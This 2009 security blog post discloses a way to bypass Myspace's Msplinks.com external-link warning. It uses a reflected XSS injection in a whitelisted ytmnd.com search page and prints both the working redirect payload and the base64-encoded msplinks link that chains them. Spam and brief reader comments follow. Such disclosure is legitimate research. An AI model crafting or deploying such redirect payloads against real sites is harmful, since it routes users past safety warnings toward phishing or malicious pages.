This site is soon to be deprecated by http://www.johnleitch.net

Sunday, June 21, 2009

Bypassing Msplinks.com Notifications - Myspace.com

As a preventative measure Myspace.com routes all user posted links through Msplinks.com. If the linked site is not on the msplinks whitelist a notification that the user is visiting an external site is displayed, and the the user must click another link to continue. To circumvent this system, an XSS vulnerability in a whitelisted site can be used as a redirect.



Fortunately ytmnd.com has a vulnerability. By prepending 01 to an xss redirect url, base64 encoding the result, and appending it to http://www.msplinks.com/ we can create a link that can be posted on Myspace. When the user clicks this link, no external site warnings are displayed.

The vulnerable whitelisted site:
http://www.ytmnd.com/search?q="]}}};window.location='http://www.asdf.com/';{{{//

A msplinks link that redirects to the xss redirect:
http://www.msplinks.com/MDFodHRwOi8vd3d3Lnl0bW5kLmNvbS9zZWFyY2g/cT0lMjIlNUQlN0QlN0QlN0Q7d2luZG93LmxvY2F0aW9uPSdodHRwOi8vd3d3LmFzZGYuY29tLyc7JTdCJTdCJTdCLy8=

4 comments:

  1. guest blogger invitation

    Hello,

    This is Rose writing from www.huliq.com. I visited your blog and liked your content.

    Would you be interested to send us a guest post on any of the issues related to the topics that you cover in your blog. We will publish it in our site www.huliq.com

    In return with each guest blog we will give one link in the author's byline back to your blog. We only ask that the guest post ( we prefer it be a news coverage, sources can be Google News, CNN, MSNBC, Yahoo News, BBC and others) be a unique story and not be published in your blog.

    HULIQ is indexed by Google News and Google requires that the length of the unique news is at least 5 paragraphs. We desire it to be at least 6 paragraphs if possible. And that all need to be a unique content. Once you send us a new story totally unique we will immediately publish it with you link in it, and within 15 minutes it should be indexed by Google News.

    Also, please structure author byline as follows:

    author's name:
    author's e-mail:
    author's blog url:

    Please let me know if you may have any questions about www.huliq.com.

    If you want to consult the topic with me first that's perfectly fine as well.

    Many thanks
    ruzik.mail@gmail.com

    ReplyDelete
  2. That is smart as hell, must give credit where it is due.

    ReplyDelete
  3. radio imagingWedding Weight Loss Tips

    thank you for the warning. I will try to correct and prevent it ...:)

    ReplyDelete